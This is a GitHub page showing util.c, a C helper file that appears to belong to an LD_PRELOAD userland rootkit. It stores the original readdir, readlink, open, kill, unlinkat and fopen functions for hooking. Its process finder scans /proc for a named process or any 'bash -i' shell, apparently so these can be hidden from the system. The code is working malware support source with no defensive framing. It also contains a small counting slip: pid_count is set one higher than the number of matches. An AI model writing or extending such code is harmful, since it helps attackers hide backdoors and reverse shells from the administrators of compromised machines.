-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathutil.c
89 lines (75 loc) · 1.99 KB
/
util.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdbool.h>
#include <dirent.h>
#include <string.h>
#include "log.h"
#include "util.h"
static struct dirent* (*oreaddir)(DIR * ) = NULL;
static ssize_t (*oreadlink)(const char *, char *, size_t) = NULL;
static int (*oopen)(const char*, int, ...) = NULL;
static int (*okill)(pid_t, int) = NULL;
static int (*ounlinkat)(int, const char*, int) = NULL;
static FILE* (*ofopen)(const char *, const char*) = NULL;
void *find_addr(char *symbol){
// RTLD_NEXT is not defined, unless you use #define _GNU_SOURCE
void *address = dlsym(RTLD_NEXT, symbol);
if (address == NULL){
debug_file("cant find address");
exit(0);
}
return address;
}
char * replace(char * string, char x, char y, int len){
for(int i = 0; i< len; i++){
if(string[i]==x){
string[i] = y;
}
}
return string;
}
struct proc find_proc(const char* name) {
// simply loops over /proc , grabs all the
// process and compares their cmdline with the
// parameter "name"
struct dirent* entry;
struct proc ret;
int i = 0;
DIR* dir;
ret.pid = (int*)malloc(sizeof(int));
ret.alive = false;
dir = opendir("/proc");
if (dir == NULL){
return ret;
}
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type != DT_DIR) {
continue;
}
char pidp[strlen(entry->d_name)+50];
sprintf(pidp, "/proc/%s/cmdline", entry->d_name);
FILE* cmdline = fopen(pidp, "r");
if (!cmdline){
continue;
}
char buffer[256];
size_t len = fread(buffer, 1, sizeof(buffer) - 1, cmdline);
fclose(cmdline);
char* cmd = replace(buffer, '\0', ' ', len);
if(strstr(cmd, name)==NULL && strstr(cmd, "bash -i")==NULL){
continue;
}
ret.pid[i] = atoi(entry->d_name);
// printf("cmd: %s %d\n", cmd, ret.pid[i]);
i += 1;
ret.pid = (int*)realloc(ret.pid, (i+1)*sizeof(int));
}
if (i>0){
ret.alive = true;
}
ret.pid_count = i+1;
closedir(dir);
return ret;
}